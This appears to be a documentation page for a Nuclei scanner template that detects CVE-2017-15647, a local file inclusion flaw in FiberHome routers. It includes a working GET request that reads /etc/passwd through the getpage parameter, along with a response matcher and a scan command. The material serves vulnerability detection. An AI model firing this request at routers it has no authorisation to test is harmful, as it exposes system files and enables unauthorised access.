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FiberHome Routers - Local File Inclusion

ID: CVE-2017-15647

Severity: high

Author: daffainfo

Tags: cve,cve2017,lfi,router,edb,fiberhome

Description

Section titled “Description”

FiberHome routers are susceptible to local file inclusion in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value.

YAML Source

Section titled “YAML Source”
id: CVE-2017-15647


info:
  name: FiberHome Routers - Local File Inclusion
  author: daffainfo
  severity: high
  description: FiberHome routers are susceptible to local file inclusion in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the system, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest firmware update provided by FiberHome to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/44054
    - https://blogs.securiteam.com/index.php/archives/3472
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15647
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-15647
    cwe-id: CWE-22
    epss-score: 0.02013
    epss-percentile: 0.87655
    cpe: cpe:2.3:o:fiberhome:routerfiberhome_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fiberhome
    product: routerfiberhome_firmware
  tags: cve,cve2017,lfi,router,edb,fiberhome


http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ff87db6361bfed6d6a0ae8baf4a8769bb4a990cf2e538fff615ef767e54bad57022100eaee879ab0b9af61016d84d6ed6855d9e10d3b2fc498e88b6dc9b6fdfe23c911:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-15647.yaml"

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